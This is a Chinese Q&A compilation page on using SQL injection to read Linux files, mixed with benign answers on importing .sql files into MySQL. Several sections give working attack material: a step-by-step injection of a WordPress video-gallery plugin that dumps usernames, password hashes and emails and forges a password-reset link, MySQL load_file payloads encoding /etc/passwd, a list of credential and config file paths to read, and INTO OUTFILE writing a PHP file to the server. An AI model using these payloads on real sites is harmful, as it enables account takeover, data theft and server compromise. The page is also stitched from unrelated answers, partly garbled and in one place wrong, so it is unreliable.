当前位置:首页 » 编程语言 » sql注入读取linux的文件
扩展阅读
webinf下怎么引入js 2023-08-31 21:54:13
堡垒机怎么打开web 2023-08-31 21:54:11

sql注入读取linux的文件

发布时间: 2022-11-20 22:49:40

Ⅰ 有sql注入怎么提权

通过路径的各种爆错无效,无法获得绝对路径,目标网站上面没测试指针,存在phpmyadmin但是也无法爆路径。

数据库破MD5登录后台发现无利用的地方。

使用sqlmap 的--file-read 对c:oot.ini文件进行读取

Ⅱ 如何sql注入漏洞攻破linux基础web

SQL注入的基本原理

sql注入成因主要是对页面参数没有进行非法字符校验导致,比如说一个订单页面要显示某个客户的所有订单列表,这个页面的地址可能是http://xxx.com/list.php?customID=3,我们推理,这样页面的后台处理的sql应该是这样的:

select * form custom_order where custom_id = {$_GET['customID']}

按正常情况下,这里的接收的参数{$_GET['customID']}的值应该是传入的值3,这样页面就能正确的把所有客户ID等于3的订单信息显示到页面上。但是,如果这个参数被人恶意改成了如下形式:

http://xxx.com/list.php?customID=-1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin

按这样的参数拼装成的sql就成了这样:

select * form custom_order where custom_id = -1 union select 1,2,3,user,5,passwd,7,8,9,10 from admin

这样注入恶意sql后,订单列表页显示的就不是订单信息了,而是数据库中用户的名称和密码,或者任意其它想要的信息。下面我们就按照这个原理来一步一步的获取这个公立学校网站的管理员用户名,管理员邮箱地址,通过邮箱重置管理员密码,登录超级管理员后台。

All Video Gallery插件的漏洞简介

安装了All Video Gallery插件的Wordpress博客里会有这样的一个地址:

http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=1&pid=11

访问这个页面会显示一些配置信息,问题就出在pid这个参数上,程序后台显然没有严格检查这个参数,我们将利用这个参数进行sql注入。

WordPress是一个开源的平台,我们很容易弄清楚用户表的表名是wp_users,存放用户名,密码,邮件地址的字段分别是user_login,user_pass,user_email,我们下面将要把用户信息表注入进去。

获取超级管理员用户名

为了获取用户表中的用户名,我们注入的sql是这样的:

http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1
union select
1,2,3,4,group_concat(user_login,0x3a,user_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41
from wp_users

在浏览器里输入上面的地址,页面上会显示下面的信息:

获取超级管理员邮件地址

我们可以直接获取用户的密码,但很显然,密码都是加密的,无法使用,我们这里使用另外一种思路,先获取用户的邮件地址,然后使用这个邮件重置用户的密码。

要获取邮件地址,我们需要将上面的sql中的字段名改成user_email:

http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1
union select
1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41
from wp_users

在浏览器里输入上面的地址,页面上会显示下面的信息:

重置管理员密码

WordPress的后台登陆地址是http://xxx.com/wp-login.php,这个地址是可以公共访问的,我们进入这个页面后,点击Lost your password?链接,输入上面获取的管理员邮件。

这样做了之后,Wordpress会向这个邮件地址发送一封含有激活码的密码重置地址。我们无法登陆这个邮箱获取这个地址,但我们可以使用上面同样
的方法获取这个激活码,自己拼装出密码重置地址。存放激活码的字段是user_activation_key,我们的sql注入地址改成下面这样:

http://xxx.com/wp-content/plugins/all-video-gallery/config.php?vid=11&pid=1&pid=-1
union select
1,2,3,4,group_concat(user_login,0x3a,user_email),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41
from wp_users

在浏览器里输入上面的地址,页面上会显示下面的信息:

有了激活码,我们就可以拼装出装置密码的地址了:

http://xxx.com/wp-login.php?action=rp&key=resetkey&login=username

利用这个地址进入重置密码页面:

总结

我们的黑客行动到此基本上是大功告成,但事实上我并没有去执行最后一步。本文的目的不是要告诉人们如何进行黑客攻击,而是要提醒大家防范安全漏洞,
所谓知己知彼,方能百战不殆,程序员应当对基本的黑客攻击方式有一些了解,针对性的在编程时避免造成类似sql注入的安全漏洞,构筑更健壮的软件。

Ⅲ linux导入sql文件命令

1SSH登录LINUX系统,登录mysql数据库
#mysql -u root -p #-p为密码,输入登录mysql的账户的密码

2选择数据库
#mysql>use database #database为你的的数据库

3选择你已经备份好的sql文件,开始导入
#mysql>source /backup.sql #选择对应路径即可恢复

4等待数据还原结果。

Ⅳ 针对mysql的sql注入,可以使用什么函数来访问系统文件

1、 replace(load_file(0x2F6574632F706173737764),0x3c,0x20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 < 替换成空格 返回的是网页.而无法查看到代码.
3、 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
4、/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
5、c:Program FilesApache GroupApacheconf httpd.conf 或C:apacheconf httpd.conf 查看WINDOWS系统apache文件
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
8、d:APACHEApache2confhttpd.conf
9、C:Program Filesmysqlmy.ini
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
11、 c:.xml 查看IIS的虚拟主机配置文件
12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
14 、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
15、 /etc/sysconfig/iptables 本看防火墙策略
16 、 usr/local/app/php5/lib/php.ini PHP 的相当设置
17 、/etc/my.cnf MYSQL的配置文件
18、 /etc/redhat-release 红帽子的系统版本
19 、C:mysqldatamysqluser.MYD 存在MYSQL系统中的用户密码
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
21、/usr/local/app/php5/lib/php.ini //PHP相关设置
22、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
23、c:Program FilesRhinoSoft.comServ-UServUDaemon.ini
24、c:windowsmy.ini

Ⅳ 如何用 sql 命令读取文件

以下是orcale的方法,其他数据库也类似。
1.写控制文件格式如下(下面是我自己的,你把表名该成你自己的表,字段该成你的字段就可以了):
OPTIONS (skip=0,rows=128)
load data
INFILE "user_user_test.txt"
into table USER_USER_TEST
truncate
fields terminated by ',' optionally enclosed by '"'
(
USERID,
CITYID,
USERNAME,
PWD,
CREATETIME
)
2.把控制文件和数据文件放在同一个目录(建议)
3.执行sqlldr userid=scott/anwei@orcl control=user_user_test.ctl data=user_user_test.txt log=user_user_test.log 命令

Ⅵ 究竟如何将.sql文件导入 linux系统下的mysql里

如果你给root用户设置了密码的话用:mysql -u root -p "你的数据库名"< “你的sql文件”,然后输入密码。
如果没设置密码的话直接mysql -u root "你的数据库名"< “你的sql文件”

Ⅶ SQL注入之outfile

找到注入点后利用语句:select [column...] from [table_name] into outfile [path]导出数据信息。此信息可以被sql注入利用。

找出对象服务器系统,找出apache的根目录,利用上面语句,将一个文件放到根目录中,随后可以在页面中访问该文件。文件名后缀可以自定义。

有时候导入导出权限会被mysql限制,只能将文件导入或导出到指定位置:

ERROR 1290: The MySQL server is running with the __secure-file-priv option so it cannot execute this statement

这时可以使用语句:show variables like 'secure_file_priv'来查询能导入导出的位置

找到位置后就在对应位置导入或者导出文件:

select * from users into outfile '/var/lib/mysql-files/aa'

这时我们可以导出一个php文件,比如

select '<?php phpinfo() ?>' into outfile '/var/lib/mysql-files/test.php';phpinfo是导出php服务器环境的配置信息

然后,我们再去/var/lib/mysql-files目录下查看是否真的导出成功了。

Ⅷ 在linux中导入sql文件的方法分享(使用命令行转移mysql数据库)

因导出sql文件
在你原来的网站服务商处利用phpmyadmin导出数据库为sql文件,这个步骤大家都会,不赘述。
上传sql文件
前面说过了,我们没有在云主机上安装ftp,怎么上传呢?
打开ftp客户端软件,例如filezilla,使用服务器IP和root及密码,连接时一定要使用SFTP方式连接,这样才能连接到linux。注意,这种方法是不安全的,但我们这里没有ftp,如果要上传本地文件到服务器,没有更好更快的方法。
我们把database.sql上传到/tmp目录。
连接到linux,登录mysql
使用putty连接到云主机。putty的使用方法这里就不介绍了。
连接之后,登录mysql
复制代码
代码如下:
>mysql
-u
root
-p
>password:
注意,如果你之前建立了其他的mysql用户,可以选择合适的用户登录。关于mysql的命令行,你可以在其他地方学习。
把上传上去的sql导入到数据库中
按照下面的三个步骤,快速导入这个sql文件
复制代码
代码如下:
mysql>use
yourdatabasename;
mysql>set
names
utf8;
mysql>source
/tmp/database.sql;
然后屏幕上就会不断的滚,最后提示导入成功。
最后,记得将database.sql删除。

Ⅸ 如何通过SQL注入获取服务器本地文件

如何通过SQL注入获取服务器本地文件
从服务器上复制下备份文件,在本地还原,应该可以。
另外你还可以附加:
1。 在服务器上打开数据库管理器,选中数据库在菜单中选择脱机,然后找到服务器上数据库文件,通常是两个一个数据文件一个日志文件。
2。 将1中的两个文件复制到本地的某个目录中
3。 打开本地数据库管理器 在数据库文件夹上右击显示菜单,选择附加.

Ⅹ 针对mysql的sql注入,可以使用什么函数来访问系统文件

1、 replace(load_file(0x2F6574632F706173737764),0x3c,0x20) 2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32)) 上面两个是查看一个PHP文件里完全显示代码f MYSQL的配置文件 18、 /etc/redhat-release 红帽子的系统版本 19 、C:mysqldatamysqluserServ-UServUDaemon.ini 24、c:windowsmy.ini